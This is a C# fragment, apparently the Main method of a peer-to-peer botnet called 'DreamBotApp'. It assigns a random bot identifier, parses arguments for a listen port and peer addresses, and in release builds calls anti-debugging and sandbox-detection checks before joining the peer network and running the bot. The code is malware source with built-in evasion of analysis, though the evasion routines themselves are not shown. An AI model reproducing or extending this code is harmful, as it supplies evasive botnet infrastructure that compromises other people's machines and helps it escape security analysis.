public static void Main(string[] args) { var idbuf = new byte[16]; new Random().NextBytes(idbuf); var id = new BotIdentifier(idbuf); var listenPort = 33333; var peers = new List<PeerInfo>(); foreach (var arg in args) { var v = arg.Substring(1); switch (arg[0]) { case 'p': int.TryParse(v, out listenPort); break; case 'c': foreach (var peerInfo in v.Split(new[]{';'})) { peers.Add(PeerInfo.Parse(peerInfo)); } break; case 'i': id = BotIdentifier.Parse(v); break; } } #if !DEBUG SystemInfo.CheckIfAlreadyRunning(id); AntiDebugging.CheckDebugger(); SandboxDetection.CheckIfSandboxed(); #endif _bot = new DreamBotApp(listenPort, id); _bot.Bootstrap(peers); _bot.Run(); var c = Console.ReadKey(true); while(c.Key != ConsoleKey.Spacebar) { _bot.Debug(c.Key); c = Console.ReadKey(true); } }